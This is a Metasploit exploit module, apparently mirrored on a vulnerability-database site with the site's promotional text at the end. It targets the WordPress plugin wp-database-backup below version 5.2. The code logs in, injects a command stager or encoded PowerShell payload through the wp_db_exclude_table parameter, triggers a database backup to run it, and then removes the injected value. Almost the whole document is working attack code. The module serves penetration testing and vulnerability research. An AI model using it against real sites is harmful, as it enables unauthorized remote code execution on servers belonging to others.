##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(info,
'Name' => 'WP Database Backup RCE',
'Description' => %q(
There exists a command injection vulnerability in the Wordpress plugin
`wp-database-backup` for versions < 5.2.
For the backup functionality, the plugin generates a `mysqldump` command
to execute. The user can choose specific tables to exclude from the backup
by setting the `wp_db_exclude_table` parameter in a POST request to the
`wp-database-backup` page. The names of the excluded tables are included in
the `mysqldump` command unsanitized. Arbitrary commands injected through the
`wp_db_exclude_table` parameter are executed each time the functionality
for creating a new database backup are run.
Authentication is required to successfully exploit this vulnerability.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Mikey Veenstra / Wordfence', # Vulnerability Discovery
'Shelby Pace' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/' ],
],
'Platform' => [ 'win', 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[
'Windows',
{
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ]
}
],
[
'Linux',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => 'printf'
}
]
],
'DisclosureDate' => '2019-04-24',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [ true, 'Wordpress username', '' ]),
OptString.new('PASSWORD', [ true, 'Wordpress password', '' ]),
OptString.new('TARGETURI', [ true, 'Base path to Wordpress installation', '/' ])
])
end
def check
return CheckCode::Unknown unless wordpress_and_online?
changelog_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-database-backup', 'readme.txt')
res = send_request_cgi(
'method' => 'GET',
'uri' => changelog_uri
)
if res && res.code == 200
version = res.body.match(/=+\s(\d+\.\d+)\.?\d*\s=/)
return CheckCode::Detected unless version && version.length > 1
vprint_status("Version of wp-database-backup detected: #{version[1]}")
return CheckCode::Appears if Gem::Version.new(version[1]) < Gem::Version.new('5.2')
end
CheckCode::Safe
end
def exploit
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Unable to log into Wordpress') unless cookie
res = create_exclude_table(cookie)
nonce = get_nonce(res)
create_backup(cookie, nonce)
clear_exclude_table(cookie)
end
def create_exclude_table(cookie)
@exclude_uri = normalize_uri(target_uri.path, 'wp-admin', 'tools.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => @exclude_uri,
'cookie' => cookie,
'vars_get' => { 'page' => 'wp-database-backup' }
)
fail_with(Failure::NotFound, 'Unable to reach the wp-database-backup settings page') unless res && res.code == 200
print_good('Reached the wp-database-backup settings page')
if datastore['TARGET'] == 1
comm_payload = generate_cmdstager(concat_operator: ' && ', temp: './')
comm_payload = comm_payload.join('&&')
comm_payload = comm_payload.gsub('\'', '')
comm_payload = "; #{comm_payload} ;"
else
comm_payload = " & #{cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true, encode_final_payload: true)} & ::"
end
table_res = send_request_cgi(
'method' => 'POST',
'uri' => @exclude_uri,
'cookie' => cookie,
'vars_post' =>
{
'wpsetting' => 'Save',
'wp_db_exclude_table[wp_comment]' => comm_payload
}
)
fail_with(Failure::UnexpectedReply, 'Failed to submit payload as an excluded table') unless table_res && table_res.code
print_good('Successfully added payload as an excluded table')
res.get_html_document
end
def get_nonce(response)
fail_with(Failure::UnexpectedReply, 'Failed to get a proper response') unless response
div_res = response.at('p[@class="submit"]')
fail_with(Failure::NotFound, 'Failed to find the element containing the nonce') unless div_res
wpnonce = div_res.to_s.match(/_wpnonce=([0-9a-z]*)/)
fail_with(Failure::NotFound, 'Failed to retrieve the wpnonce') unless wpnonce && wpnonce.length > 1
wpnonce[1]
end
def create_backup(cookie, nonce)
first_res = send_request_cgi(
'method' => 'GET',
'uri' => @exclude_uri,
'cookie' => cookie,
'vars_get' =>
{
'page' => 'wp-database-backup',
'_wpnonce' => nonce,
'action' => 'createdbbackup'
}
)
res = send_request_cgi(
'method' => 'GET',
'uri' => @exclude_uri,
'cookie' => cookie,
'vars_get' =>
{
'page' => 'wp-database-backup',
'notification' => 'create'
}
)
fail_with(Failure::UnexpectedReply, 'Failed to create database backup') unless res && res.code == 200 && res.body.include?('Database Backup Created Successfully')
print_good('Successfully created a backup of the database')
end
def clear_exclude_table(cookie)
res = send_request_cgi(
'method' => 'POST',
'uri' => @exclude_uri,
'cookie' => cookie,
'vars_post' =>
{
'wpsetting' => 'Save',
'wp_db_exclude_table[wp_comment]' => 'wp_comment'
}
)
fail_with(Failure::UnexpectedReply, 'Failed to delete the remove the payload from the excluded tables') unless res && res.code == 200
print_good('Successfully deleted the payload from the excluded tables list')
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation